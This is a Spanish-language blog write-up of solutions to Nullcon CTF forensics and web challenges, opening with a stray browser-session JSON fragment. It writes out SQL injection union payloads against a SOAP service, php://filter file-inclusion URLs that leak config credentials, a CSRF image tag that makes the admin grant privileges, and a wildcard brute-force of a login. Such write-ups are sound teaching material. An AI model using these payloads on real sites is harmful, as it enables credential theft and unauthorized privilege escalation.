Nullcon","image":"","pos":0}],"extData":{"__SessionManagerWindowId":"window1346970911969"},"width":"994","height":"860","screenX":"4","screenY":"4","sizemode":"maximized","title":"New Tab"}],"selectedWindow":0,"_closedWindows":[],"session":{"state":"stopped","lastUpdate":1346971652293,"startTime":1346970909452,"recentCrashes":0},"scratchpads":[]}
Tenemos la entrada "yek" y el valor "brotherwachowski". Vemos que "yek" es el inverso de "key", asi que tambien invertimos "brotherwachowski" :)
Bandera: ikswohcawrehtorb
Forensics 4 - 400 pts
Pendiente./.config/storeme
Bandera: ADS@NTFS_FUN
Web
Web 1 - 100 pts
This application only allows nulladmin to see the flag, lets see if you can find it?
Creamos un usuario nuevo en la plataforma de juego con ese nombre !!! (idea de nonroot)
Bandera: p|-|p$3r141123r1$(001
Web 2 - 200 pts
We have designed This superbly Secure Web Service?
Lets see if you can get Administrator's Password
Password is the answer
Exploramos Web services y vemos que se ofrece una operacion para obtener detalles del empleado: "getEmployeeDetails" junto con un enlace para ver el WSDL del servicio:
http://ctf.nullcon.net/web2/index.php?wsdl
Usamos el complemento SOA Client para Firefox para parsear ese WSDL y vemos que el servicio getEmployeeDetails pertenece al servicio employeedb y que recibe el parametro 'name'.
Si se deja el campo vacio se recibe la informacion del empleado "Guy R Cook" junto con un comentario con informacion valiosa:
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getEmployeeDetailsResponse xmlns:ns1="urn:employeedb"><return xsi:type="xsd:string"> Employee ID: EC0010 Employee Name: Guy R Cook Employee Title: Tech</return></ns1:getEmployeeDetailsResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>
<!--
"CREATE TABLE employees (id int(20) PRIMARY KEY, username varchar(50),password varchar(50),email varchar(50), fullname varchar(50), title varchar (50))";
-->
Tenemos entonces un comentario con una instrucción SQL con la estructura de la tabla. Este comentario venia escondido entre muchas lineas en blanco, aquí se resume la salida suprimiendo estos blancos. El comentario no se incluirá en las siguientes salidas.
En la salida de la consulta vemos que se nos entregan los campos id, fullname, y title para el empleado. Intentamos entonces una inyeccion SQL variando ligeramente la estructura de la respuesta.
' union all select id, email, title from employees where fullname like '%cook%
Y el sistema acepta la consulta y nos retorna:
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getEmployeeDetailsResponse xmlns:ns1="urn:employeedb"><return xsi:type="xsd:string"> Employee ID: EC0010 Employee Name: tmartin@inluminocreative.com Employee Title: Tech</return></ns1:getEmployeeDetailsResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>
Esta vez, en el campo Name encontramos el correo electronico del empleado en lugar de su nombre.
Como no estamos buscando informacion de un usuario con Title="Tech", modificamos nuestra inyeccion a esta:
' union all select id, fullname, password from employees where title like '%admin%
Para obtener el nombre y password del administrador:
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getEmployeeDetailsResponse xmlns:ns1="urn:employeedb"><return xsi:type="xsd:string"> Employee ID: EC006 Employee Name: Georgia Employee Title: skdnciu93uwkn9wejr4ms9s0sds0</return></ns1:getEmployeeDetailsResponse></SOAP-ENV:Body></SOAP-ENV:Envelope>
Bandera: skdnciu93uwkn9wejr4ms9s0sds0
Web 3 - 300 pts
Retrive the password for Buggy explorer
Home : http://ctf.nullcon.net/buggy_explorer/?inc=home.php
Login : http://ctf.nullcon.net/buggy_explorer/?inc=login.php
Finalmente se utilizó una inclusión php://filter/ para leer el codigo fuente de login.php:
http://ctf.nullcon.net/buggy_explorer/?inc=php://filter/convert.base64-encode/resource=login.php
Lo que nos retorna (incrustado en el texto de la pagina y codificado en base64):
PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmluY2x1ZGUoImNvbmZpZy5waHAiKTsNCg0KaWYgKCRfUE9TVFsidXNlcm5hbWUiXSE9IiIgJiYgJF9QT1NUWyJwYXNzd29yZCJdIT0iIil7DQogICAgaWYgKCRfUE9TVFsidXNlcm5hbWUiXT09JHVzZXJuYW1lICYmICRfUE9TVFsicGFzc3dvcmQiXT09JHBhc3N3b3JkKXsNCiAgICAgIHByaW50KCI8aDI+V2VsY29tZSBiYWNrICE8L2gyPiIpOw0KICAgICAgcHJpbnQoIlRvIHZhbGlkYXRlIHRoZSBjaGFsbGVuZ2UgdXNlIHRoaXMgcGFzc3dvcmQ8YnIvPjxici8+Iik7DQogICAgfSBlbHNlIHsNCiAgICAgIHByaW50KCI8aDM+RXJyb3IgOiBubyBzdWNoIHVzZXIvcGFzc3dvcmQ8L2gyPjxiciAvPiIpOw0KICAgIH0NCn0gZWxzZSB7DQo/Pg0KDQo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCiAgTG9naW4mbmJzcDs8YnIvPg0KICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXNlcm5hbWUiIC8+PGJyLz48YnIvPg0KICBQYXNzd29yZCZuYnNwOzxici8+DQogIDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icGFzc3dvcmQiIC8+PGJyLz48YnIvPg0KICA8YnIvPjxici8+DQogIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJjb25uZWN0IiAvPjxici8+PGJyLz4NCjwvZm9ybT4NCg0KPD9waHAgfSA/
Que se decodifica como:
<?php
error_reporting(0);
include("config.php");
if ($_POST["username"]!="" && $_POST["password"]!=""){
if ($_POST["username"]==$username && $_POST["password"]==$password){
print("<h2>Welcome back !</h2>");
print("To validate the challenge use this password<br/><br/>");
} else {
print("<h3>Error : no such user/password</h2><br />");
}
} else {
?>
<form action="" method="post">
Login <br/>
<input type="text" name="username" /><br/><br/>
Password <br/>
<input type="password" name="password" /><br/><br/>
<br/><br/>
<input type="submit" value="connect" /><br/><br/>
</form>
<?php } ?
Y asi descubrimos la presencia de "config.php", que descargamos de forma similar con:
http://ctf.nullcon.net/buggy_explorer/?inc=php://filter/convert.base64-encode/resource=config.php
Lo que nos retorna (incrustado en el texto de la pagina y codificado en base64):
Lo que nos retorna (incrustado en el texto de la pagina y codificado en base64):
PD9waHAgJHVzZXJuYW1lPSJhZG1pbiI7ICRwYXNzd29yZD0iREFQdDlEMm1reTBBUEFGIjsgPz4N
Que decodifica como:
<?php $username="admin"; $password="DAPt9D2mky0APAF"; ?>
Bandera: DAPt9D2mky0APAF
Web 4 - 400 pts
Iniciamos y encontramosDon't have Account? Register
Vamos a Register donde encontramos un formulario par crear una nueva cuenta:
Creamos una cuenta, volvemos a Log-in e iniciamos sesion, para encontrar esto:
Become Admin Get Flag Logout
You can send mail to Admin for any queries using below form. Admin checks his mails regularly.
Si vamos a la opcion "Get Flag" nos advierte que "Only Admin user can see the flag." y si vamos a la opcion "Become Admin" encontramos esto:
Become Admin Get Flag Logout
Only Admin user has access to this !!
Si intentamos setear nuestro usuario aqui el sistema ignora la peticion pues no tenemos permisos para ello.
Intenteremos enviar un mensaje al admin con:
<img src="http://ctf.nullcon.net/web4/set_admin.php?user=rmolina&Set=Set" />
Pero es muy largo para este campo asi que usamos TinyURL:
<img src="http://tinyurl.com/8te2wjt" />
Become Admin Get Flag Logout
You can send mail to Admin for any queries using below form. Admin checks his mails regularly.
Al enviarlo recibimos el mensaje "Mail sent to Admin". Esperamos un momento he intentamos "Get Flag" nuevamente.
Bandera: 1337(52ƒ|-|4)(02
Web 5 - 500 pts
Another wierd login panel.
Login sucessfully to retrive the key?
Intentamos algunas combinaciones de passwords (admin:admin, guest:guest) y todas resultaban en el mensaje "Dir not found". Intentamos usar "." o ".." como login y password pero el resultado no cambio.
Finalmente, encontramos que usando "*" como login y password, obteniamos algo diferente "Hacking Attempt Detected". Aqui tenemos algo. Responde al comodín "*"… y que hay con el comodin "?", tambien lo acepta?
Probamos el login usando multiples "?" hasta encontrar la longitud correcta.
Dir not found
Dir not found
Dir not found
Hacking Attempt Detected
(Y seguimos incrementando uno por uno. Pero aqui remuevo algunos para no hacer muy largo el log)
El password tiene 10 caracteres.
Intentamos encontrar el primer carácter del login con algo como:
Hacking Attempt Detected
Y funciona a la primera! El loging empieza por "a". Probamos la segunda letra con algo como:
Y vamos incrementado el caracter hasta encontrar el segundo:
Hacking Attempt Detected
El segundo caracter es "b". Procedemos igual para cada caracter faltante en el login y luego en el password, hasta que encontramos:
Cuyo contenido en claro es:
flag is D!28|_|5732!550/\/\|_|(|-|f|_||\|
Bandera: D!28|_|5732!550/\/\|_|(|-|f|_||\|
Comentarios
Publicar un comentario